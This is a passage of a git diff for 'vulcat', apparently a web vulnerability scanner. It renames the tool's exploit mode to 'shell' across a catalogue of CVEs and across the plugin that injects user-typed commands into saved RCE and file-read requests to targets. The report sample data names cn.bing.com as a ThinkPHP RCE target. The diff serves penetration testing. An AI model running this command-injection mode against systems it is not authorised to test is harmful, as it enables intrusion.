+ print(color.cyan(vul_list + 'vulcat-1.1.8/2023.01.20')) # * 2023-01-20 23:04:22
+ print(color.cyan(str(vul_num - 1) + '/Poc')) # * 有一个是标题, 所以要-1
+ print(color.cyan(str(shell_num) + '/Shell'))
# print(vul_num)
sys.exit(0)
@@ -52,7 +52,7 @@ def list():
{
'vul_id': 'Vuln id',
'type': 'Vuln Type',
- 'exp': 'Exp',
+ 'shell': 'Sh ',
'description': 'Description' + description_t
}
],
@@ -60,7 +60,7 @@ def list():
{
'vul_id': '(None)',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Alibaba Druid']
}
],
@@ -68,7 +68,7 @@ def list():
{
'vul_id': 'CVE-2021-29441',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Alibaba Nacos']['CVE-2021-29441']
}
],
@@ -76,7 +76,7 @@ def list():
{
'vul_id': 'CVE-2020-17526',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache Airflow']['CVE-2020-17526']
}
],
@@ -84,7 +84,7 @@ def list():
{
'vul_id': 'CVE-2020-13945',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache APISIX']['CVE-2020-13945']
}
],
@@ -92,13 +92,13 @@ def list():
{
'vul_id': 'CVE-2021-25646',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Druid']['CVE-2021-25646']
},
{
'vul_id': 'CVE-2021-36749',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Druid']['CVE-2021-36749']
},
],
@@ -106,7 +106,7 @@ def list():
{
'vul_id': 'CVE-2020-17519',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Flink']['CVE-2020-17519']
}
],
@@ -114,7 +114,7 @@ def list():
{
'vul_id': '(None)',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache Hadoop']
}
],
@@ -122,19 +122,19 @@ def list():
{
'vul_id': 'CVE-2021-40438',
'type': 'SSRF',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache Httpd']['CVE-2021-40438']
},
{
'vul_id': 'CVE-2021-41773',
'type': 'FileRead/RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Httpd']['CVE-2021-41773']
},
{
'vul_id': 'CVE-2021-42013',
'type': 'FileRead/RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Httpd']['CVE-2021-42013']
}
],
@@ -142,7 +142,7 @@ def list():
{
'vul_id': 'CVE-2020-9483',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache SkyWalking']['CVE-2020-9483']
}
],
@@ -150,19 +150,19 @@ def list():
{
'vul_id': 'CVE-2017-12629',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache Solr']['CVE-2017-12629']
},
{
'vul_id': 'CVE-2019-17558',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Solr']['CVE-2019-17558']
},
{
'vul_id': 'CVE-2021-27905',
'type': 'SSRF/FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Solr']['CVE-2021-27905']
},
],
@@ -170,7 +170,7 @@ def list():
{
'vul_id': 'CVE-2017-12615',
'type': 'FileUpload',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Apache Tomcat']['CVE-2017-12615']
}
],
@@ -178,7 +178,7 @@ def list():
{
'vul_id': 'CVE-2020-13942',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Apache Unomi']['CVE-2020-13942']
}
],
@@ -186,7 +186,7 @@ def list():
{
'vul_id': 'CVE-2018-8715',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['AppWeb']['CVE-2018-8715']
}
],
@@ -194,25 +194,25 @@ def list():
{
'vul_id': 'CVE-2015-8399',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Atlassian Confluence']['CVE-2015-8399']
},
{
'vul_id': 'CVE-2019-3396',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Atlassian Confluence']['CVE-2019-3396']
},
{
'vul_id': 'CVE-2021-26084',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Atlassian Confluence']['CVE-2021-26084']
},
{
'vul_id': 'CVE-2022-26134',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Atlassian Confluence']['CVE-2022-26134']
}
],
@@ -220,7 +220,7 @@ def list():
{
'vul_id': 'CVE-2020-3580',
'type': 'XSS',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Cisco']['CVE-2020-3580']
}
],
@@ -228,7 +228,7 @@ def list():
{
'vul_id': 'wooyun-2010-080723',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Discuz']['wooyun-2010-080723']
}
],
@@ -236,31 +236,31 @@ def list():
{
'vul_id': 'CVE-2017-12794',
'type': 'XSS',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Django']['CVE-2017-12794']
},
{
'vul_id': 'CVE-2018-14574',
'type': 'Redirect',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Django']['CVE-2018-14574']
},
{
'vul_id': 'CVE-2019-14234',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Django']['CVE-2019-14234']
},
{
'vul_id': 'CVE-2020-9402',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Django']['CVE-2020-9402']
},
{
'vul_id': 'CVE-2021-35042',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Django']['CVE-2021-35042']
}
],
@@ -268,25 +268,25 @@ def list():
{
'vul_id': 'CVE-2014-3704',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Drupal']['CVE-2014-3704']
},
{
'vul_id': 'CVE-2017-6920',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Drupal']['CVE-2017-6920']
},
{
'vul_id': 'CVE-2018-7600',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Drupal']['CVE-2018-7600']
},
{
'vul_id': 'CVE-2018-7602',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Drupal']['CVE-2018-7602']
}
],
@@ -294,25 +294,25 @@ def list():
{
'vul_id': 'CVE-2014-3120',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ElasticSearch']['CVE-2014-3120']
},
{
'vul_id': 'CVE-2015-1427',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ElasticSearch']['CVE-2015-1427']
},
{
'vul_id': 'CVE-2015-3337',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ElasticSearch']['CVE-2015-3337']
},
{
'vul_id': 'CVE-2015-5531',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ElasticSearch']['CVE-2015-5531']
},
],
@@ -320,13 +320,13 @@ def list():
{
'vul_id': 'CVE-2020-5902',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['F5 BIG-IP']['CVE-2020-5902']
},
{
'vul_id': 'CVE-2022-1388',
'type': 'unAuth/RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['F5 BIG-IP']['CVE-2020-5902']
}
],
@@ -334,13 +334,13 @@ def list():
{
'vul_id': 'CNVD-2017-02833',
'type': 'unSerialize',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Fastjson']['CNVD-2017-02833']
},
{
'vul_id': 'CNVD-2019-22238',
'type': 'unSerialize',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Fastjson']['CNVD-2019-22238']
}
],
@@ -348,7 +348,7 @@ def list():
{
'vul_id': '(None)',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Gitea']
},
],
@@ -356,13 +356,13 @@ def list():
{
'vul_id': 'CVE-2021-22205',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Gitlab']['CVE-2021-22205']
},
{
'vul_id': 'CVE-2021-22214',
'type': 'SSRF',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Gitlab']['CVE-2021-22214']
}
],
@@ -370,7 +370,7 @@ def list():
{
'vul_id': 'CVE-2021-43798',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Grafana']['CVE-2021-43798']
},
],
@@ -378,7 +378,7 @@ def list():
{
'vul_id': '(None)',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Influxdb']
},
],
@@ -386,7 +386,7 @@ def list():
{
'vul_id': 'CVE-2018-1000861',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Jenkins']['CVE-2018-1000861']
}
],
@@ -394,19 +394,19 @@ def list():
{
'vul_id': 'CVE-2021-28164',
'type': 'DSinfo',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Jetty']['CVE-2021-28164']
},
{
'vul_id': 'CVE-2021-28169',
'type': 'DSinfo',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Jetty']['CVE-2021-28169']
},
{
'vul_id': 'CVE-2021-34429',
'type': 'DSinfo',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Jetty']['CVE-2021-34429']
}
],
@@ -414,7 +414,7 @@ def list():
{
'vul_id': '(None)',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Jupyter']
}
],
@@ -422,7 +422,7 @@ def list():
{
'vul_id': 'CVE-2020-10770',
'type': 'SSRF',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Keycloak']['CVE-2020-10770']
}
],
@@ -438,7 +438,7 @@ def list():
{
'vul_id': 'CNVD-2021-28277',
'type': 'FileRead/SSRF',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Landray']['CNVD-2021-28277']
}
],
@@ -446,7 +446,7 @@ def list():
{
'vul_id': 'CVE-2018-18778',
'type': 'FileRead',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Mini Httpd']['CVE-2018-18778']
}
],
@@ -454,7 +454,7 @@ def list():
{
'vul_id': 'CVE-2019-10758',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['mongo-express']['CVE-2019-10758']
}
],
@@ -462,31 +462,31 @@ def list():
{
'vul_id': 'CVE-2019-5475',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Nexus Repository']['CVE-2019-5475']
},
{
'vul_id': 'CVE-2019-7238',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Nexus Repository']['CVE-2019-7238']
},
{
'vul_id': 'CVE-2019-15588',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Nexus Repository']['CVE-2019-15588']
},
{
'vul_id': 'CVE-2020-10199',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Nexus Repository']['CVE-2020-10199']
},
{
'vul_id': 'CVE-2020-10204',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Nexus Repository']['CVE-2020-10204']
}
],
@@ -494,13 +494,13 @@ def list():
{
'vul_id': 'CVE-2017-14849',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Nodejs']['CVE-2017-14849']
},
{
'vul_id': 'CVE-2021-21315',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Nodejs']['CVE-2021-21315']
}
],
@@ -508,7 +508,7 @@ def list():
{
'vul_id': 'CVE-2021-3223',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['NodeRED']['CVE-2021-3223']
}
],
@@ -516,13 +516,13 @@ def list():
{
'vul_id': 'WooYun-2016-199433',
'type': 'unSerialize',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['phpMyadmin']['WooYun-2016-199433']
},
{
'vul_id': 'CVE-2018-12613',
'type': 'FileInclude',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['phpMyadmin']['CVE-2018-12613']
},
],
@@ -530,7 +530,7 @@ def list():
{
'vul_id': 'CVE-2017-9841',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['PHPUnit']['CVE-2017-9841']
}
],
@@ -538,19 +538,19 @@ def list():
{
'vul_id': 'CVE-2018-3760',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Ruby on Rails']['CVE-2018-3760']
},
{
'vul_id': 'CVE-2019-5418',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Ruby on Rails']['CVE-2019-5418']
},
{
'vul_id': 'CVE-2020-8163',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Ruby on Rails']['CVE-2020-8163']
}
],
@@ -558,7 +558,7 @@ def list():
{
'vul_id': 'CNVD-2020-26585',
'type': 'FileUpload',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['ShowDoc']['CNVD-2020-26585']
}
],
@@ -566,49 +566,49 @@ def list():
{
'vul_id': 'CVE-2016-4977',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2016-4977']
},
{
'vul_id': 'CVE-2017-8046',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2017-8046']
},
{
'vul_id': 'CVE-2018-1273',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2018-1273']
},
{
'vul_id': 'CVE-2020-5410',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Spring']['CVE-2020-5410']
},
{
'vul_id': 'CVE-2021-21234',
'type': 'FileRead',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Spring']['CVE-2021-21234']
},
{
'vul_id': 'CVE-2022-22947',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2022-22947']
},
{
'vul_id': 'CVE-2022-22963',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2022-22963']
},
{
'vul_id': 'CVE-2022-22965',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Spring']['CVE-2022-22965']
},
],
@@ -616,7 +616,7 @@ def list():
{
'vul_id': 'CVE-2017-11610',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Supervisor']['CVE-2017-11610']
}
],
@@ -624,37 +624,37 @@ def list():
{
'vul_id': 'CVE-2018-1002015',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ThinkPHP']['CVE-2018-1002015']
},
{
'vul_id': 'CNVD-2018-24942',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ThinkPHP']['CNVD-2018-24942']
},
{
'vul_id': 'CNNVD-201901-445',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['ThinkPHP']['CNNVD-201901-445']
},
{
'vul_id': 'CNVD-2022-86535',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['ThinkPHP']['CNVD-2022-86535']
},
{
'vul_id': '(None)',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['ThinkPHP']['2.x RCE']
},
{
'vul_id': '(None)',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['ThinkPHP']['5 ids sqlinject']
}
],
@@ -662,7 +662,7 @@ def list():
{
'vul_id': '(None)',
'type': 'SSRF',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Ueditor']
}
],
@@ -670,31 +670,31 @@ def list():
{
'vul_id': 'CVE-2014-4210',
'type': 'SSRF',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Oracle Weblogic']['CVE-2014-4210']
},
{
'vul_id': 'CVE-2017-10271',
'type': 'unSerialize',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Oracle Weblogic']['CVE-2017-10271']
},
{
'vul_id': 'CVE-2019-2725',
'type': 'unSerialize',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Oracle Weblogic']['CVE-2019-2725']
},
{
'vul_id': 'CVE-2020-14750',
'type': 'unAuth',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Oracle Weblogic']['CVE-2020-14750']
},
{
'vul_id': 'CVE-2020-14882',
'type': 'RCE',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Oracle Weblogic']['CVE-2020-14882']
}
],
@@ -702,13 +702,13 @@ def list():
{
'vul_id': 'CVE-2019-15107',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Webmin']['CVE-2019-15107']
},
{
'vul_id': 'CVE-2019-15642',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Webmin']['CVE-2019-15642']
}
],
@@ -716,31 +716,31 @@ def list():
{
'vul_id': 'CNNVD-201610-923',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Yonyou']['CNNVD-201610-923']
},
{
'vul_id': 'CNVD-2021-30167',
'type': 'RCE',
- 'exp': 'Y',
+ 'shell': 'Y',
'description': list_lang['Yonyou']['CNVD-2021-30167']
},
{
'vul_id': '(None)',
'type': 'FileRead',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Yonyou']['NCFindWeb']
},
{
'vul_id': '(None)',
'type': 'DSinfo',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Yonyou']['getSessionList.jsp']
},
{
'vul_id': '(None)',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Yonyou']['test.jsp']
}
],
@@ -748,7 +748,7 @@ def list():
{
'vul_id': 'CVE-2016-10134',
'type': 'SQLinject',
- 'exp': '-',
+ 'shell': '-',
'description': list_lang['Zabbix']['CVE-2016-10134']
}
],
diff --git a/lib/initial/load.py b/lib/initial/load.py
new file mode 100644
index 0000000..342f09a
--- /dev/null
+++ b/lib/initial/load.py
@@ -0,0 +1,11 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+import yaml
+
+def load_yaml():
+ f = open('config.yaml', 'r', encoding='utf-8')
+ config_yaml = yaml.load(f, yaml.FullLoader)
+ f.close
+
+ return config_yaml
\ No newline at end of file
diff --git a/lib/initial/parse.py b/lib/initial/parse.py
index e77feb1..7906375 100644
--- a/lib/initial/parse.py
+++ b/lib/initial/parse.py
@@ -17,9 +17,9 @@ def parse():
python3 vulcat.py -u https://www.example.com/
python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3
python3 vulcat.py -u https://www.example.com/ -a tomcat -v CVE-2017-12615
-python3 vulcat.py -f url.txt -t 10
+python3 vulcat.py -f url.txt -t 10 -o html
python3 vulcat.py --list
-''', version='vulcat.py-1.1.7\n')
+''', version='vulcat.py-1.1.8\n')
# * 指定目标
target = parser.add_option_group(lang['target_help']['title'], lang['target_help']['name'])
target.add_option('-u', '--url', type='string', dest='url', default=None, help=lang['target_help']['url'])
@@ -30,8 +30,8 @@ def parse():
optional = parser.add_option_group(lang['optional_help']['title'], lang['optional_help']['name'])
optional.add_option('-t', '--thread', type='int', dest='thread', default=2, help=lang['optional_help']['thread'])
optional.add_option('--delay', type='float', dest='delay', default=1, help=lang['optional_help']['delay'])
- optional.add_option('--timeout', type='int', dest='timeout', default=10, help=lang['optional_help']['timeout'])
- optional.add_option('--user-agent', type='string', dest='ua', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', help=lang['optional_help']['user_agent'])
+ optional.add_option('--timeout', type='float', dest='timeout', default=10, help=lang['optional_help']['timeout'])
+ optional.add_option('--user-agent', type='string', dest='ua', default=None, help=lang['optional_help']['user_agent'])
optional.add_option('--cookie', type='string', dest='cookie', default=None, help=lang['optional_help']['cookie'])
optional.add_option('--auth', type='string', dest='authorization', default=None, help=lang['optional_help']['Authorization'])
# optional.add_option('--random-ua', dest='random_ua', action='store_true', help='')
@@ -50,7 +50,7 @@ def parse():
application = parser.add_option_group(lang['application_help']['title'], lang['application_help']['name'])
application.add_option('-a', '--application', type='string', dest='application', default='auto', help=lang['application_help']['application'])
application.add_option('-v', '--vuln', type='string', dest='vuln', default=None, help=lang['application_help']['vuln'])
- application.add_option('-x', '--exp', dest='exp', action='store_true', help=lang['application_help']['exp'])
+ application.add_option('--shell', dest='shell', action='store_true', help=lang['application_help']['shell'])
# * 第三方api, 例如dnslog/ceye
api = parser.add_option_group(lang['api_help']['title'], lang['api_help']['name'])
@@ -58,9 +58,7 @@ def parse():
# * 保存扫描结果到文件中
save = parser.add_option_group(lang['save_help']['title'], lang['save_help']['name'])
- save.add_option('--output-text', type='string', dest='txt_filename',default=None, help=lang['save_help']['output_text'])
- save.add_option('--output-json', type='string', dest='json_filename',default=None, help=lang['save_help']['output_json'])
- # save.add_option('--output-html', type='string', dest='html_filename', default=None, help='')
+ save.add_option('-o', '--output', dest='output', default=None, help=lang['save_help']['output'], choices=['txt', 'json', 'html'])
# * 通用参数
general = parser.add_option_group(lang['general_help']['title'], lang['general_help']['name'])
diff --git a/lib/plugins/exploit.py b/lib/plugins/shell.py
similarity index 85%
rename from lib/plugins/exploit.py
rename to lib/plugins/shell.py
index cb51728..a1bccb5 100644
--- a/lib/plugins/exploit.py
+++ b/lib/plugins/shell.py
@@ -13,13 +13,11 @@
import re
import socket
-class Exploit():
+class Shell():
def __init__(self):
- self.lang = config.get('lang')['exploit']
- self.exp = config.get('exp')
+ self.lang = config.get('lang')['shell']
self.timeout = config.get('timeout')
- self.headers = config.get('headers')
- self.proxies = config.get('proxies')
+ # self.proxies = config.get('proxies')
self.proxy = config.get('proxy')
self.rce_old_payload_re_list = [ # * RCE漏洞的旧command正则, 搜索并替换为用户自定义的新command
@@ -50,21 +48,21 @@ def __init__(self):
]
def start(self, results):
- ''' 启动exp
+ ''' 启动shell
# * 1. 判断有无Request
search_requests()
- Request -> self.exp_raw() -> HackRequests.httpraw()
+ Request -> self.shell_raw() -> HackRequests.httpraw()
# * 2. 更新漏洞的Payload
search_command()
接收用户输入的command
- exit -> 退出Exploit模式
+ exit -> 退出Shell模式
其它命令 -> 查找旧command
- 查找失败 -> 退出Exploit模式
+ 查找失败 -> 退出Shell模式
替换为新command -> 返回新的Request/Target
- # * 3. 使用新Payload请求, 判断Exp请求是否成功
- exp_request()
+ # * 3. 使用新Payload请求, 判断Shell请求是否成功
+ shell_request()
HackRequests.httpraw() / requests.get()
请求失败 -> 返回第2步
请求成功 -> 返回请求结果res
@@ -76,25 +74,25 @@ def start(self, results):
:param results(list): vulcat返回的多个poc扫描结果
'''
- # ! 遍历poc结果, 判断单个poc结果的漏洞类型, 分发给相应的漏洞Exp
+ # ! 遍历poc结果, 判断单个poc结果的漏洞类型, 分发给相应的漏洞Shell
for result in results:
if result and (re.search(r'rce', str(result['Type']), re.I)):
- self.exploit(result, self.rce_old_payload_re_list)
+ self.shell(result, self.rce_old_payload_re_list)
elif result and (re.search(r'file-?read', str(result['Type']), re.I)):
- self.exploit(result, self.fileread_old_payload_re_list)
+ self.shell(result, self.fileread_old_payload_re_list)
elif result and (re.search(r'file-?include', str(result['Type']), re.I)):
- self.exploit(result, self.fileread_old_payload_re_list)
+ self.shell(result, self.fileread_old_payload_re_list)
# self.fileinclude(result, self.fileinclude_old_payload_re_list)
# elif result and ('sqlinject' in str(result['Type']).lower()):
# self.rce(result)
# elif result and ('ssrf' in str(result['Type']).lower()):
# self.rce(result)
else:
- logger.info('yellow_ex', self.lang['not_exp'])
+ logger.info('yellow_ex', self.lang['not_shell'])
- def exploit(self, result, re_list):
- ''' 漏洞通用Exploit
+ def shell(self, result, re_list):
+ ''' 漏洞通用Shell
:param result(dict): vulcat的单个poc扫描结果
'''
logger.info('red_ex', self.lang['identify'].format(result['Type'][1]))
@@ -103,9 +101,9 @@ def exploit(self, result, re_list):
if http_raw:
# * HackRequests.httpraw()
- self.exp_raw(result, http_raw, re_list)
+ self.shell_raw(result, http_raw, re_list)
else:
- logger.info('yellow_ex', self.lang['not_request']) # ? 日志, 没有Request, 无法使用Exp
+ logger.info('yellow_ex', self.lang['not_request']) # ? 日志, 没有Request, 无法使用Shell
def search_requests(self, result):
''' 搜索一个result里面是否有返回Request
@@ -136,22 +134,22 @@ def search_command(self, re_list, old_payload):
:param old_payload(str): 要搜索的Request/Target
:return:
新Request/Target
- 是否退出exp模式
+ 是否退出shell模式
vcsearch字符串
'''
new_command = ''
- # todo 输入自定义的命令, exit则退出Exploit模式
+ # todo 输入自定义的命令, exit则退出Shell模式
while not new_command:
try:
- logger.info('red', '[Exploit] ', print_end='')
+ logger.info('red', '[Shell] ', print_end='')
logger.info('reset', self.lang['input_command'], notime=True, print_end='') # ? 日志, 请输入command
new_command = input()
- '''vulcat exp响应包内容搜索 (类似linux中的grep)
+ '''vulcat shell响应包内容搜索 (类似linux中的grep)
可以搜索响应数据包中的内容, 正则表达式形式
'''
- # todo 判断自定义命令中 是否有vulcat Exploit Response Search
+ # todo 判断自定义命令中 是否有vulcat Shell Response Search
vcsearch_re = r'\s*\|\s*vcsearch .*'
vc_str = re.search(vcsearch_re, new_command, re.I|re.M)
if vc_str:
@@ -237,7 +235,7 @@ def search_response(self, vc_str, res_response):
except re.error:
print(self.lang['re_error']) # ? 日志, 正则表达式输入有误
- def exp_request(self, result, http_raw, is_ssl=False):
+ def shell_request(self, result, http_raw, is_ssl=False):
''' 通用请求
:param result(dict): vulcat的单个poc扫描结果
:param http_raw(str): poc返回的http请求包
@@ -247,15 +245,15 @@ def exp_request(self, result, http_raw, is_ssl=False):
:return: requests.Request
'''
vul_info = {}
- vul_info['app_name'] = result['Type'][0] + '(Exploit)'
- vul_info['vul_type'] = 'Exploit-' + result['Type'][1]
+ vul_info['app_name'] = result['Type'][0] + '(Shell)'
+ vul_info['vul_type'] = 'Shell-' + result['Type'][1]
vul_info['vul_id'] = result['Type'][2]
if 'https' in result['Target']:
is_ssl = True
try:
- hack = HackRequests.hackRequests()
+ hack = HackRequests.hackRequests(timeout=self.timeout)
res = hack.httpraw(
http_raw,
@@ -264,7 +262,7 @@ def exp_request(self, result, http_raw, is_ssl=False):
location=False
)
- res.method = 'Exploit'
+ res.method = 'Shell'
logger.logging(vul_info, res.status_code, res) # * LOG
return res
@@ -278,16 +276,16 @@ def exp_request(self, result, http_raw, is_ssl=False):
logger.logging(vul_info, 'Error')
return None
- def exp_raw(self, result, http_raw, re_list):
- ''' 使用http数据包(Request)进行exp
+ def shell_raw(self, result, http_raw, re_list):
+ ''' 使用http数据包(Request)进行shell
while
- if is_exit 是否退出Exploit模式
+ if is_exit 是否退出Shell模式
if new_http_raw 是否成功更新了payload
是 -> 发起请求
否 -> 更新payload失败
if res 是否请求成功
是 -> 查找/显示Response内容
- 否 -> exp请求失败
+ 否 -> shell请求失败
:param result: vulcat返回的单个poc扫描结果
:param http_raw: HTTP请求数据包
@@ -296,17 +294,17 @@ def exp_raw(self, result, http_raw, re_list):
new_http_raw, is_exit, vc_str = self.search_command(re_list, http_raw)
if is_exit:
- logger.info('cyan_ex', self.lang['exit']) # ? 日志, 退出Exp模式
+ logger.info('cyan_ex', self.lang['exit']) # ? 日志, 退出Shell模式
break
if new_http_raw:
- res = self.exp_request(result, new_http_raw)
+ res = self.shell_request(result, new_http_raw)
if res:
self.search_response(vc_str, str(res.header) + res.text())
else:
- logger.info('red', self.lang['exp_faild']) # ? 日志, exp请求失败
+ logger.info('red', self.lang['shell_faild']) # ? 日志, shell请求失败
else:
logger.info('red_ex', self.lang['faild_command']) # ? 日志, 更新payload失败
-exploit = Exploit()
\ No newline at end of file
+shell = Shell()
\ No newline at end of file
diff --git a/lib/report/cat.html b/lib/report/cat.html
new file mode 100644
index 0000000..9dd1ebd
--- /dev/null
+++ b/lib/report/cat.html
@@ -0,0 +1,342 @@
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/lib/report/cat.js b/lib/report/cat.js
new file mode 100644
index 0000000..00f9435
--- /dev/null
+++ b/lib/report/cat.js
@@ -0,0 +1,606 @@
+var __spreadArrays = (this && this.__spreadArrays) || function () {
+ for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
+ for (var r = Array(s), k = 0, i = 0; i < il; i++)
+ for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
+ r[k] = a[j];
+ return r;
+};
+var vulnTitle = [
+ {
+ "id": "ID",
+ "target": "Target",
+ "ftype": "Framework/Type",
+ "vulnid": "VulnID",
+ "time": "Time"
+ }
+];
+var vulnContent = [
+ {
+ "id": 1,
+ "target": "http://cn.bing.com/",
+ "fullUrl": "http://cn.bing.com/asdsadsadsa",
+ "ftype": "ThinkPHP/RCE",
+ "vulnid": "CVE-2022-0202",
+ "time": "2023-1-5 11:18:02",
